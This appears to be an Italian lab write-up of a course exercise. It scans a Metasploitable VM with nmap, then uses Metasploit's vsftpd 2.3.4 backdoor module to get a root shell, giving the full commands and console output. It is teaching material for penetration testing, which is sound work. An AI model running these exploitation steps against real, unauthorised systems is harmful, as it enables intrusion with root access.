

MODULO 1

Avvio con **sudo msfdb init && msfconsole.**

```
(kali㉿kali)-[~]
$ sudo msfdb init 66 msfconsole
[sudo] password for kali:
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
```

```

      =[ metasploit v6.3.16-dev ]
+ -- --[ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- --[ 975 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

```

```
Metasploit tip: View advanced module options with
advanced
Metasploit Documentation: https://docs.metasploit.com/
```

Con **nmap -sV** vedo le porte aperte.

```
(kali㉿kali)-[~]
└─$ nmap -sV 192.168.50.100
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 18:40 EDT
Nmap scan report for 192.168.50.100
Host is up (0.038s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN;
```

L'esercizio ci chiede di sfruttare vsftpd (21 ftp).

Faccio **search** per la versione vsftpd

```
msf6 > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Scelgo il modulo **/unix/ftp/vsftpf_234_backdoor** e faccio show options per vedere i parametri necessari.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
```

Imposto il target host con **set RHOSTS** e controllo il risultato con show options.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.100
RHOSTS => 192.168.50.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.50.100   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
```

Successivamente vedo i payload disponibili con **show payloads**.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#   Name                               Disclosure Date   Rank   Check   Description
-   -
0   payload/cmd/unix/interact           normal          No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      The local client address
CPORT      The local client port
Proxies    A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     192.168.50.100  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
sploit.html
RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -

Exploit target:

Id   Name
--   -
0    Automatic
```

Lancio l'exploit con il comando **exploit** ed uso alcuni comandi per completare la dimostrazione.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.100:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.100:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.100:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.100:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.100:44483 → 192.168.50.100:6200) at 2023-06-11 18:55:00 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3c:17:99
          inet addr:192.168.50.100 Bcast:192.168.50.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3c:1799/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1484 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1469 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:119028 (116.2 KB)  TX bytes:122088 (119.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:202 errors:0 dropped:0 overruns:0 frame:0
          TX packets:202 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:73089 (71.3 KB)  TX bytes:73089 (71.3 KB)
```

Infine, esco con **exit** e torno ai comandi principali con **back**.

```
exit
[*] 192.168.50.100 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back
msf6 > █
```